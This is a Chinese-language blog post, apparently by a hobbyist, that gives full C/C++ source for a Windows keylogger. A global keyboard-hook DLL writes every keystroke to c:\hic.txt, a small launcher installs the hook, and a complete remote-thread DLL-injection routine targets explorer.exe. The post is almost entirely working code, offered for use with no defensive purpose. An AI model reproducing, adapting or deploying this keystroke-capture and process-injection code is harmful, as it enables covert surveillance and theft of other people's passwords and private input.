這里把很早前的一些文章陸續匯總下,以后研究方向會專注,本來就是菜鳥,總這一竿子那一竿子,最后一場空,以后主要是嵌入式,PC要放一放了.....
預備知識:鍵盤記錄功能需要用到全局鍵盤鈎子(有局部鈎子和全局鈎子之分),而全局鍵盤鈎子需要一個單獨的dll文件,因為這個dll文件會被注入到任意獲得鍵盤消息的進程中(個別系統進程無法注入),向操作系統注冊鈎子后,再在回調函數中處理對應的鍵盤事件就OK....
另外,雖然dll也屬可執行文件,但它需要帶頭大哥的指引才能啟動(exe文件),因此,還需要一個起動機,也就是一個exe文件來幫助啟動...
(DEV-CPP編譯通過)先看一下效果:
這里貼兩段程序,第一段是全局鍵盤鈎子例程,第二段是一個比較完整的注入例程
1、全局鍵盤鈎子例程:
dll.h :
#ifndef _DLL_H_
#define _DLL_H_
#if BUILDING_DLL
# define DLLIMPORT __declspec (dllexport)
#else /* Not BUILDING_DLL */
# define DLLIMPORT __declspec (dllimport)
#endif /* Not BUILDING_DLL */
#include <windows.h>
DLLIMPORT void HelloWorld (void);
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam);
BOOL __declspec(dllexport) installhook();
BOOL __declspec(dllexport) UnHook();
#endif /* _DLL_H_ */
dll.cpp :
#include "dll.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma data_seg(".SHARDAT") //共享段
static HHOOK hkb = NULL;
//HWND hLastWnd = NULL;
FILE *fp = NULL;
#pragma data_seg()
#pragma comment (linker,"/SECTION:.SHARDAT,RWS")
HINSTANCE hinst = NULL;
DLLIMPORT void HelloWorld ()
{
MessageBox (0, "Hello World from DLL!\n", "Hi", MB_ICONINFORMATION);
}
// DLL入口
BOOL APIENTRY DllMain (HINSTANCE hInst /* Library instance handle. */ ,
DWORD reason /* Reason this function is being called. */ ,
LPVOID reserved /* Not used. */ )
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
hinst = hInst;
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
/* Returns TRUE on success, FALSE on failure */
return TRUE;
}
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) //回調函數,自己DIY吧...
{
/*
if(((DWORD)lParam&0x40000000) && (HC_ACTION==nCode))
{
switch(wParam)
{
case VK_F1:
MessageBox(NULL,"F1","F1",MB_OK); break;
case 'A':
MessageBox(NULL,"A","A",MB_OK);
}
}
*/
/*
HWND hWnd = GetActiveWindow();
if (hWnd != hLastWnd)
{
char szTemp[256] = {0};
GetWindowText(hWnd,szTemp,sizeof(szTemp));
fprintf(fp,"\r\n--- [%s] ---\r\n",szTemp);
hLastWnd = hWnd;
}
BYTE szKeyState[256] = {0};
GetKeyboardState(szKeyState);
int nScan = lParam >> 16;
WORD szKey = 0;
int len = ToAscii(wParam,nScan,szKeyState,&szKey,0);
if (len > 0)
{
//fprintf(fp,"[%c]",char(szKey));
}
*/
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) //捕獲按鍵按下
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
fp=fopen("c:\\hic.txt","a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,fp);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch = (char)(w);
fwrite(&ch,1,1,fp);
}
fclose(fp);
}
}
LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
return RetVal;
}
BOOL __declspec(dllexport)__stdcall installhook()
{
fp=fopen("c:\\hic.txt","w");
fclose(fp);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,0); //鍵盤鈎子
return TRUE;
}
BOOL __declspec(dllexport) UnHook()
{
BOOL unhooked = UnhookWindowsHookEx(hkb);
return unhooked;
}
至於exe啟動機的代碼要簡單多了:
#include "dll.h"
#include <iostream>
#include <windows.h>
using namespace std;
typedef bool (*Fun)();
HMODULE g_hHook = 0;
Fun setHook = NULL;
int main(int argc, char *argv[])
{
//InstallHook();
g_hHook = LoadLibrary("Inject.dll");
setHook = (Fun)GetProcAddress(g_hHook,"installhook");
setHook();
system("pause");
return 0;
}
.
2、完整進程注入例程:
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <io.h>
#define INJECT_PROCESS_NAME "explorer.exe" //"iexplore.exe"
// 根據進程名獲取進程PID值
long GetProcessID(char *pProcessName)
{
/* 定義變量 */
BOOL bRet;
HANDLE hProcessSnap;
unsigned long ProcessID = -1;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
// 所有進程快照
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot failed. error:%d.\n", GetLastError());
return -1;
}
// 遍歷進程快照,輪流顯示每個進程的信息
bRet = Process32First(hProcessSnap, &pe);
while(bRet)
{
// pe.szExeFile保存的值為進程對應的可執行文件名
if(strcmp(pe.szExeFile, pProcessName) == 0)
{
ProcessID = pe.th32ProcessID;
break;
}
bRet = Process32Next(hProcessSnap, &pe);
}
// 清除掉進程快照對象
CloseHandle(hProcessSnap);
return ProcessID;
}
BOOL InjectDLL()
{
long pid = 0;
int ret = 0;
char szDllPath[MAX_PATH] = {0};
// 獲取DLL全路徑,這里為/windows/system32/InjectDLL.dll
// 同時判斷有無訪問權限
ret = GetSystemDirectory(szDllPath, MAX_PATH);
if(szDllPath[ret - 1] != '\\')
strcat(szDllPath, "\\");
strcat(szDllPath, "InjectDLL.dll");
if(_access(szDllPath, 0) == -1)
{
printf("Access %s Failed.\n", szDllPath);
return -1;
}
printf("Inject DLL' Path: %s .\n", szDllPath);
// 獲取要注入進程的PID
pid = GetProcessID(INJECT_PROCESS_NAME);
if(pid == -1)
{
printf("Get Inject ProcessID Failed.\n");
return FALSE;
}
printf("Inject PID:[%d] .\n", pid);
HANDLE hProcess = NULL;
HANDLE hRemoteThread = NULL;
void *pLibRemote = NULL;
DWORD hLibModule = 0;
HMODULE hKernel32 = NULL;
hKernel32 = GetModuleHandle("Kernel32");
if(hKernel32 == NULL)
{
printf("Get Kernel32 Handle Failed.\n");
return FALSE;
}
hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pid);
if(hProcess == NULL)
{
printf("Open Inject Process Failed.\n");
return FALSE;
}
// 1. Allocate memory in the remote process for szDllPath
// 2. Write szDllPath to the allocated memory
pLibRemote = VirtualAllocEx(hProcess,
NULL,
sizeof(szDllPath),
MEM_COMMIT,
PAGE_READWRITE);
ret = WriteProcessMemory(hProcess,
pLibRemote,
(void *) szDllPath,
sizeof(szDllPath),
NULL);
if(ret == 0)
{
printf("Write Remote Process Memory Failed.\n");
return FALSE;
}
// Load "LibSpy.dll" into the remote process
// (via CreateRemoteThread & LoadLibrary)
hRemoteThread = CreateRemoteThread(hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)
GetProcAddress(hKernel32, "LoadLibraryA"),
pLibRemote,
0,
NULL);
WaitForSingleObject(hRemoteThread, INFINITE);
// Get handle of the loaded module
GetExitCodeThread(hRemoteThread, &hLibModule);
// Clean up
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, pLibRemote, sizeof(szDllPath), MEM_RELEASE);
// 關閉遠程進程句柄
CloseHandle(hProcess);
printf("Inject Finished.\n");
return TRUE;
}
int main(int argc, char *argv[])
{
InjectDLL();
system("pause");
return 0;
}